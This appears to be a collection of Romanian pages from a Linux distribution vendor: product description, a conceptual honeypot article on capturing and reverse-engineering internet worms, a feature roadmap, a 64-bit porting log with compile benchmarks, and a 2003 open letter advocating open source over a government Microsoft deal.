Alte nivele de revizuire au adus modificari editoriale si de marcaj.

TFM/GNU Linux Server

Ce este TFM/GNU Linux Server?

TFM/GNU Linux Operating System este un sistem de operare bazat pe linux proiectat si optimizat special pentru servere. Proiectarea clasa si simpla duce implicit la configurare facila si instalarea extrem de rapida. Astfel oricine poate instala un server TFM in citeva minute.

De ce TFM/GNU Linux Server?

  • Instalarea foarte usoara si rapida
  • Fiecare serviciu oferit vine o configurare implicita functionala iar acest lucru va poate salva mult timp cind aveti de configurat un serviciu cu care nu sinteti familiar.
  • Timpul de bot este foarte scazut. In circa 30 secunde de la pornire serverul poate fi up and running. Iar asta inseamna downtime de mentenanta mai scazut.
  • Sistemul de operare este folosit de citeva companii foarte cunoscute.
  • Sistemul de operare este imbunatatit periodic. Noi versiuni si update-uri sint asigurate. O noua versiune majora este lansata anual.
  • Costul de intretinere este scazut. Exista servere TFM care functioneaza fara intreruperi de ani de zile si sint administrate complet remote.

Cum pot sa il obtin?

Sint 2 modalitati principale: Il cumparati ( 1 DVD ) sau il downloadati ( mai multe detalii in pagina speciala de download ) .

Instructiuni de instalare?

Vezi paginile speciale de Documentatie unde veti gasi detalii referitoare la fiecare pas al instalarii.

Cine utilizeaza acest sistem de operare?

  • ProTV
  • ProFM
  • TFM Group Sofware ( Sintem increzatori in propriile produse )
  • Tudor Turism & Tour
  • Alfa Tech Group
  • Dynamic&Safe Ltd
  • Imedia Plus Group
  • Translations House
  • Worldwide Hotel Services
  • Tmobile Services
  • Delta Romania
  • Visa Travel
  • Pan Olimpic Travel
  • Chimtotal
  • Visioline

Analiza generica malware

Cum se prinde o rima de internet folosind un honeypot

In primul rand ce este o rama de internet ?

O rima e un program care are capabilitatea de a se multiplica si de a se “muta” de pe un sistem pe altul folosind găuri de securitate in sistemele respective .

Studiul unei rime de internet poate fi fascinant însă de obicei ca sa studiezi o rima trebuie sa o ai … Iar ca sa o ai exista 2 posibilităţi :

  • O downloadezi de pe diverse site-uri sau newsgrupuri …
  • O prinzi singur

A doua posibilitate trebuie sa recunoaştem este mult mai interesanta.

Scule necesare

Un sistem honeypot si scule de analiza a executabilelor.

Cum se realizează un honeypot de prins rime

Având in vedere ca rimele sunt programe automate care scanează de obicei după nişte găuri de securitate fixe , probabilitatea de a prinde o rima pe honeypot este mult mai mare decit a prinde un blackhat .

Dar, având in vedere ca rimele nu poseda “inteligenta” si de regula nu au mecanisme de verificare de honeypot, problema se poate simplifica destul de mult . Se poate folosi de exemplu vmware + sistemul de operare dorit sau UML + linuxul dorit. Mare atenţie insa. O rima intrata in honeypot nu va sta prea mult pe gânduri si va începe sa atace alte sisteme. De aceea trebuie pus la punct FOARTE bine sistemul de control de trafic outgoing de pe honeypot. Daca aceste scripturi nu sunt puse bine la punct atunci riscul ca rima sa infecteze alte sisteme este mare si NU va doriţi ca o rima prinsa intr-un honeypot sa “fuga” in alta parte …

Odată toate scripturile făcute, honeypotul activ tot ce rămâne de făcut este sa aşteptaţi.

Presupunând ca honeypot-ul e infectat cu rima. Ce facem mai departe ? Acum intervine partea complicata si cea mai interesanta .

Analiza rimei

Partea de disecţie daca preferaţi termenul .

Pentru disecţie (reverse engineering) sint o gramada de scule ajutătoare. Informaţii detaliate cu privire la reverse engineering se găsesc , culmea ironiei , pe cel mai vechi si bun site de cracking ( Acolo gasiti foarte multe informaţii utile despre principiile reverse engineering, how-to, tutoriale. Site-ul este in mare parte dedicat platformei windows dar principiile sint similare.

La data la care am inceput sa scriu la acest “articol” IDA nu era disponibila pentru linux ( news … ida e disponibila si pe linux. Este scula cea mai folosita pentru dezasamblarea unui executabil. Si este foarte folositoare in momentul in care vrei sa înţelegi ce se întâmplă in interiorul unui executabil atunci cind nu ai sursele de la executabil. IDA fiind aplicaţie de Win32 va fi nevoie de wine sau vmware pentru a fi rulată .

La capitolul debugers linuxul sta bine. Evident un debugger gen SoftIce ( pentru win32 ) eu nu am văzut pe linux. Dar se poate lucra relativ uşor cu gdb sau xgdb.

Restul de scule ajutătoare pentru analiza unei rime de obicei se fac la fata locului. Adică se programează. Sculele de baza pentru reverse engineering rămân totuşi: un dezasamblor , un debugger si multa multa răbdare .

Va urma.

Tfm 3.1 – Features/ToDo page

8Datorita schimbarilor majore in tree-ul de development am decis sa nu mai facem release la TFM 3.0 ci sa trecem in stadiul de development pentru 3.1 cu un release plan mai strict in schimb. Astfel in acest moment se accepta feature requests / feature changes atit pentru workstation cit si pentru server.

TODO pentru TFM 3.1 ( Server ) . Todo-ul pentru workstation va fi postat separat. Voi edita aceasta pagina ori de cite ori apar noi requesturi pentru TFM.

  • Suport pentru clustering ( apache , mysql , nfs). Producerea de exemple documentate pentru clustering.
  • Suport redundanta si balancing ( bonding etc )
  • Sistemul de mail de imbunatatit ( configuratie, grafice , tools de analiza ) . De verificat daca este fezabil introducerea unui sistem alternativ la qmail (postfix de ex ?)
  • De repus in distributie configuratoarele web.
  • Squirrelmail are nevoie de un face lift, de adaugat plugin pentru squirrelmail pentru integrare cu SA, trebuie adaugate citeva pluginuri pentru a deveni cu adevarat util necesita asa: quota view, Change SQL Password, compatibility-2.0.4 ( e cerut de Change SQL Password ). Change SQL password trebuie patchuit ca nu stie default de algoritmul utilizat in vpopmail.
  • Suport pentru streaming video / audio

Dupa cum spuneam, ar fi util sa spuneti ce va doriti de la TFM 3.1. Avem nevoie de feedback-ul vostru.

ISO-urile de development de TFM Linux sint/vor fi disponibile la . Rata de generare a imaginilor va fi de una pe saptamina pina la atingerea stadiului Beta. Apoi functie de cite erori se descopera. ISO-urile de workstation vor avea in denumire particula WKS. Daca un ISO nu are WKS in nume atunci este un ISO de server edition.

ISO-ul este imagine de DVD. Nu incape pe un CD.


pe scurt, groupware software: appointments, calendar sharing, shared folders, organizational adress book.

Making of tfm 64

Pagina asta o voi edita de cite ori schimb lucruri in tfm64. In primul rind pentru a le tine minte.

Sistem minimal 64 este gata . Booteaza , ajunge in prompt. In mare parte pachetele sint aceleasi din tfm-ul vechi cu o exceptie notabila: udev.


kernel , glibc 2.5 , gcc 4.1.2 , perl 5.8.8 , udev 111

Acum urmeaza in primul rind sa adaug mc ( pentru ca merit ) si rpm-ul ca sa pot utiliza o parte din specurile din tfm3.1 ( modificind ce e necesar )

Pachete instalate ( extra base ):

  • glib2
  • mc
  • beecrypt
  • db
  • expat
  • openssl
  • neon (are nevoie de downgrade )
  • rpm ( fara patch-urile specifice tfm ) ( inca se compileaza )

Bon . Eroare . neon 0.26 nu e suportat direct de rpm 4.4.2 . Prin urmare am de ales: upgrade la rpm ( dar asta inseamna sa imi refac toata partea de autofetch ) sau downgrade la neon pina obtin un rpm functional.

Am sa incerc sa merg pe varianta 2. Probabil ca ma voi lovi de probleme la compilarea de apache si subversion ( am asa un feeling ) .

Continuam compilarea …. Stay tuned

  • sqlite (il vrea rpm-ul )
  • python ( ln -s python-2.4 pythonauto in usr/include)

Uitasem in /usr/local/lib o librarie veche de libbz2 . Mai mult bzip2 era compilat fara -fPIC ceea ce impiedica rpm-ul sa se compileze corect.

Dupa toate aceste lupte … Avem rpm functional ( fara pachurile de autofetch ). DAR .. se cheama ca sistemul este fuctional . Acuma urmeaza partea complicata . Trecerea incet incet a pachetelor TFM uzuale in noul tree si rezolvarea problemelor care apar.


Booteaza in vmware in 30 secunde.

Cam atit pentru dimineata asta.

06 – 06 – 2007

  • sqlite depinde de: ncurses , readline , tcl (optional pentru docs)
  • iar rpm-ul are niste faza apropo de x64 …. 3 patchuri pe ziua de azi … se cheama ca sint productiv. Problema cea mai mare a fost la flagurile de compilare.

Si apropo de flaguri de compilare . Petnru tfm64 flagurile default de compilare sint: “-mtune=k8 -m64 -O3 -pipe -fomit-frame-pointer -fPIC”

Benchmark 1:

compresarea unui ISO de 670065475 cu bzip2

La un bzip2 compilat cu -mtune=k8 -m64 -O2

root@tfm64: 2# time /bin/bzip2 6.2-RELEASE-i386-disc2.iso
real 4m27.183s
user 4m4.919s
sys 0m2.772s

Acelasi fisier compresat cu bzip2 ce a fost compilat cu: -mtune=k8 -m64 -O3 -pipe -fomit-frame-pointer -fPIC

root@tfm64: 2# time /usr/bin/bzip2 t1
real 4m23.154s
user 4m2.083s
sys 0m2.468s

Diferenta de 4 secunde doar din flagurile de compilare.

Ca termen de comparatie , desi e un pic fortat, tfm 3.1 pe un dual xeon acelasi benchmark a dat urmatoarele rezultate:

root@compile: /Tfm# time /usr/bin/bzip2 t1
real 9m51.190s
user 9m42.640s
sys 0m2.930s

Sistemul de instalare va trebui sa permita instalarea din retea . Ce inseamna asta: in retea se pune un server dhcp / bootp si serverul ce urmeaza a fi instalat va boota din retea. Sistemul de boot va trebui sa monteze nfs sistemul pe care exista rpm-urile de instalat dupa care instalarea va continua ca si cum ar instala de pe cdrom.

De ce e necesar ? In momentul in apare necesitatea de a instala multe servere repede in loc sa faci x cd-uri de instalare se pune un singur server si restul se instaleaza via network din el.


Inca n-am terminat cu packetele de baza. O gramada de lucruri se schimba la trecerea 32/64 . Initial parea destul de simplu.

Au mai ramas: perl, udev-rules, kernel si de facut bootscripts-ul rpm. Cele mai grele. De ce ? Cu perl-ul am tot avut show-uri ( Ei da … nu-mi place perl-ul DELOC ). udev rules trebuie adaptat la noua versiune de udev. Kernelul. Aici e o parte complicata. Pentru ca trebuie gindit cum fac sa pastrez cit mai mult din structura de tfm32 … initrd …etc

Mai vedem. Intre timp am pus in heavy testing un mysql . Se comporta excelent so far. Zburda.

Scrisoare deschisa catre guvernul Romaniei

COMUNICAT – 24 Septembrie 2003

Referitor la decizia Guvernului Romaniei de a incheia un parteneriat
strategic cu Microsoft Corporation, TFM Group Romania – Linux Division,
reprezentand un grup de utilizatori Linux, isi exprima indignarea fata de
modul superficial in care Ministerul Comunicatiilor si Tehnologiei
Informatiei intelege sa trateze evolutia si dezvoltarea autohtona in acest

Acum aproape trei ani, cand Guvernul Nastase a lansat programul “Fabricat in
Romania” intreaga opinie publica, cea informatica in special, a indraznit sa
spere ca marile probleme cu care se confrunta societatea romaneasca,
respectiv somajul si migratia tinerilor lipsiti de perspective vor fi, in
sfirsit solutionate.

Se pare insa ca lucrurile nu stau deloc asa iar cel mai sugestiv exemplu
este tocmai demersul mai sus mentionat al Guvernului.
TFM Group Romania este profund ingrijorat fata de riscul crearii unui
monopol al solutiilor Microsoft in invatamant, educatie si cercetare,
domenii ce vor fi cu siguranta afectate de parteneriatul strategic, in
detrimentul implementarilor Open Source a caror evolutie calitativa in
ultima perioada este incontestabila.

Solutiile Open Source, aparute tocmai ca alternative la dificultatile create
de Microsoft, reprezinta nu numai o tehnologie in continua perfectionare, ce
ofera o securitate crescuta a informatiei, capacitate mare de adaptare la
schimbari, dar si costuri mai mici, reglate de concurenta si nu ingradite de

In conditiile in care intreaga lume isi indreapta tot mai serios atentia
catre solutiile Open Source, noi, TFM Group Romania, vrem sa avem libertatea
de a alege, libertatea de a ne integra in Comunitatea Europeana, de a ne
crea un viitor aici in tara.

TFM Group Romania – Linux Division
24 Septembrie 2003

“Fabricat in Romania” moare cu zile – Tehnologia Informatiei si viitorul ei
in Romania

Cu cativa ani in urma, premierul Adrian Nastase lansa cu mare pompa
proiectul “Made in Romania”, care avea ca obiectiv generos relansarea
economiei romanesti prin promovarea produselor si a tehnologiilor autohtone.
Toata mass-media romaneasca a preluat la vremea respectiva ideea pentru ca
problemele Romaniei in domeniul excedentului fortei de munca calificata,
somajului si lipsei de perspective pentru tineri(avand ca efect direct
emigratia), pareau sa-si incheie odiseea.
Din pacate, in timp, intreaga politica a Guvernului Nastase, intr-o
completare a politicilor guvernelor anterioare, a demonstrat ca nu
incurajeaza cu nimic creatia sau produsele autohtone. Milioane de dolari
risipite prin diverse programe gestionate de Guvern, in tehnologii
costisitoare de importare loc sa impulsioneze piata autohtona, au sufocat-o.
De asemenea, firmele romanesti creatoare de soft si tehnologie sunt ucise
prin concurenta neloiala, incurajata de catre Guvern din banii

In data de 17 septembrie 2003, Ministrul Comunicatiilor si Tehnologiei
Informatiei, Dan Nica, a semnat, la Roma, impreuna cu Steve Ballmer, CEO
Microsoft Corporation, documentul care stabileste initierea unui parteneriat
strategic intre Guvernul Romaniei si Microsoft Corporation.

Dupa semnarea acordului Ministrul Nica declara :
“Parteneriatul semnat astazi va avea consecinte atat asupra imaginii
Romaniei pe plan international, cat si la nivel national, avand in vedere ca
asigura accesul institutiilor publice la cele mai noi tehnologii disponibile
pe plan mondial, lucru care ne intereseaza in mod deosebit tinand cont ca
Guvernul incearca sa aduca cetatenilor romani cele mai bune solutii bazate
pe utilizarea tehnologiei, care vizeaza reducerea birocratiei. De asemenea,
acest acord poate constitui un punct de plecare pentru alte colaborari
benefice Romaniei.”

In ce constau “cea mai noua tehnologie”, “cele mai bune solutii” si cat de
benefica ii este Romaniei aceasta colaborare ?
Orice specialist IT stie ca tendinta actuala este de a inlocui solutiile
proprietare gen Microsoft cu solutii Open Source. De ce o solutie Open
Source este mai buna pe termen lung decat o solutie proprietara? Pentru ca o
solutie de acest tip are un avantaj major: Independenta fata de O SINGURA
companie care si-ar impune practicile monopoliste. Pe langa acest avantaj,
mai sunt cateva de loc de neglijat: O comunitate foarte mare de
dezvoltatori, lucru ce implica aparitia mult mai rapida a remediilor pentru
eventualele defectiuni ale programelor, precum si preturi mult mai mici
datorate concurentei. Un altul este numarul mult mai mic de virusi
informatici (practic pot fi numarati pe degete) – fapt datorat tehnologiilor
de securitate folosite in solutiile Open Source.
Dar ce inseamna de fapt “Open Source”? Conform OSI, conceptul de Open Source
inseamna distribuirea gratuita a MODALITATII in care un program a fost
creat, prin asta neingradindu-se dreptul autorului de a-si vinde programul,
ci doar dand posibilitatea altori dezvoltatori de a continua sau modifica
produsul, cu respectarea drepturilor autorului acestuia.

O comparatie intre un produs proprietar (in speta Microsoft) si un produs
Open Source ar fi elocventa. Sa analizam costurile aproximative ale
software-ul folosit intr-un birou oarecare:

Costuri de licentiere Statii de lucru:
Pentru un calculator care functioneaza in regim normal de office (pentru
editare de documente, e-mail, accesare pagini de internet), costurile de
licentiere pentru fiecare statie in parte sunt:
Costuri software Microsoft:
Windows XP Professional = 280$
Office XP Professional in limba romana = 360$
Rezulta un cost total de 640$ / statie. Pentru mai multe licente, se fac
reduceri astfel incat, pe volum mare, se va reduce pretul la aproximativ
jumatate. In cazul cel mai fericit, in jurul cifrei de 300$ / statie.

Costuri produse Open Source:
Red Hat Enterprise Linux WS (299$) sau Suse Linux (640 EURO pentru 5
licente) sau Mandrake Linux-Powerpack Ed. (145 EUR) Open Office (exista
gratuit in pachet) 0$ La fel prin licentiere de volum se poate ajunge
estimativ la jumatate din pretul de lista. Deci un maxim de 150$ per statie.
Costurile aferente antrenarii personalului in vederea utilizarii Windows
sunt similare cu cele in cazul utilizarii platformei Open Source.
Asta ar insemna o diferenta de 150$ economisiti pentru fiecare statie in
cazul implementarii unei solutii Open Source. Daca vom considera ca vor fi
probabil licentiate cel putin zece mii de calculatoare…

Toate aceste preturi folosite ca referinta in document sunt obtinute de pe
site-urile firmelor respective sau de la distribuitorii autorizati in

Potential de dezvoltare:
Datorita dimensiunii comunitatii utilizatorilor de programe Open Source,
acestea se dezvolta cu o viteza ametitoare, mult mai ridicata decat in cazul
Microsoft si altor producatori similari. Aceasta dezvoltare rapida asigura
actualizarea continua a programelor si o imunitate crescuta impotriva
virtualelor pericole la care ar putea fi expus un sistem.
Exista si alte aspecte care nu trebuie neglijate. Un exemplu concret: sa
consideram cazul unui elev sau student, pasionat de informatica. Incepand
din liceu sau chiar mai devreme, tinerii au ocazia sa invete despre
programare. Sistemul actual este in asa fel conceput incat initierea se face
in limbajul de programare Pascal sau C, primul dintre acestea fiind de multa
vreme depasit, dar considerat inca de actualitate in scolile din Romania.
Astfel studentul sau elevul se va confrunta cu un obstacol greu de depasit:
platforma pe care acesta este invatat sa dezvolte mici aplicatii este una
Microsoft in 99% din cazuri.

Sa presupunem ca acest elev sau student, initiat deja in programare incepe
sa scrie software ce poate avea valoare. El se loveste de o problema majora:
daca isi continua munca pe platforma Microsoft are nevoie de o suita
puternica de programe pentru dezvoltare gen Microsoft Visual Studio.
Costurile licentierii unui astfel de produs sunt foarte mari nu numai pentru
majoritatea elevilor si studentilor din Romania, dar si pentru o firma mica,
recent infiintata. Nu-i raman decat doua optiuni: sa foloseasca software
Closed Source pirat, ceea ce va conduce pana la urma la un rezultat nedorit,
sau sa foloseasca software Open Source. Prima metoda este cea mai folosita
din pacate, deoarece este privita ca fiind cea mai comoda de catre un
programator “educat” sa folosesca numai produse Microsoft. Daca
programatorul este cu adevarat talentat, el va ajunge sa scrie la un moment
dat software competitiv, pe care va vrea la randul sau sa-l vanda. Dar cum
va putea face el asta, avand in vedere ca software-ul folosit de el in
crearea acelui program este achizitionat ilegal? Iata punctul nevralgic. La
acest nivel se poate vorbi de piraterie software, piraterie generata,
paradoxal, tocmai de folosirea software-ului proprietar Microsoft.
Varianta viabila ramane abordarea unei solutii Open Source, dar aceasta este
mai greu accesibila deoarece educatia primita nu a mentionat absolut nimic
despre existenta ei… Ce este totusi de facut ? Corect ar fi ca cele doua
solutii sa fie prezentate in paralel.

Alegerea variantei Closed sau Open Source trebuie luata in cunostinta de
cauza. Pentru implementarea unui asemenea sistem este nevoie de multa
ambitie si de o infuzie puternica de personal calificat cu viziuni largi in
sistemul de invatamant national. Trebuie incurajata patrunderea proaspetilor
absolventi ai facultatilor de profil, astfel incat viitorii specialisti sa
fie antrenati de profesionisti care sunt la curent cu noutatile din domeniu.

Noi doar va prezentam o alta solutie la software-ul proprietar, solutie
care, intr-adevar, mai are ceva timp pana va egala extinderea Microsoft, dar
care are avantaje evidente (securitate, costuri reduse, specialisti romani
de valoare…).
Este o realitate ca pe platforma Microsoft ruleaza in acest moment o
multitudine de programe al caror cost de transfer pe un suport Linux va fi
cu siguranta ridicat. Dar in acelasi timp pe platforme Open Source exista
programe echivalente. Dezvoltatorii de programe Open Source se gandesc in
primul rand la portabilitatea programelor lor intre diferite platforme.
Continuarea dezvoltarii de programe Closed Source va duce in mod inevitabil
la incompatibilitati si dependenta fata de un singur producator, ce va
sfarsi prin a capata tendinte monopoliste.
Consideram ca opinia publica trebuie sa afle ca exista alternativa la
Microsoft si Closed Source, ca aceasta alternativa s-a nascut tocmai din
neajunsurile solutiei Closed Source si ca alternativa Open Source poate
asigura viitorul.

Si o ultima observatie: Uniunea Europeana incepe sa impuna din ce in ce mai
mult solutii Open Source. Noi dorim sa ne integram in Uniunea Europeana. Ce
se va intampla daca in urmatorii doi ani UE ne va impune ca model de lucru
la nivel guvernamental Open Source?
Prin adoptarea unor solutii pripite Statul Roman si mai ales cetateanul de
rand vor resimti in mod dureros suportarea cheltuielilor generate nu numai
de pretul mult mai mare al solutiei Closed Source, cat si de eventuala
trecere (dupa 2007) la solutii Open Source.

TFM Group Romania – Linux Division
24 Septembrie 2003